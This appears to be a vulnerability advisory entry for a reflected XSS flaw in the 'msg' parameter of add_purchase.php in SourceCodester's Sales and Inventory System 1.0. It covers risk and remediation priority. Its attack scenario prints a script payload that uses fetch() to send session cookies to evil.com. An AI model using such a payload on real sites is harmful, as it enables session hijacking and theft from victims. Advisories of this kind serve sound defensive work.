PHP EUVD-2026-17100

While CVSS and EPSS data are unavailable, the risk profile is moderate-to-high based on alternative signals. Reflected XSS typically requires social engineering (phishing a crafted URL to a victim), which increases attack friction compared to network-adjacent or local vectors. However, the presence of publicly available exploit code (GitHub POC) confirms ease of exploitation once a victim is targeted. The attack vector is network-based and requires no authentication (unauthenticated remote access to add_purchase.php). Real-world risk depends on deployment scope: organizations running SourceCodester 1.0 are likely under-resourced and slower to patch, increasing dwell time. The lack of CISA KEV status and CVSS scoring suggests this is a lower-priority issue compared to RCE or auth-bypass vulnerabilities, but should still be remediated promptly in exposed instances.

An attacker crafts a malicious URL embedding JavaScript payload in the 'msg' parameter (e.g., add_purchase.php?msg=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>) and distributes it via phishing email to an employee of a target organization. When the employee clicks the link while logged into the Sales and Inventory System, the JavaScript executes in the employee's browser within the application's security context, exfiltrating session cookies or injecting a keylogger. Publicly available POC code reduces barrier to entry for less-skilled attackers.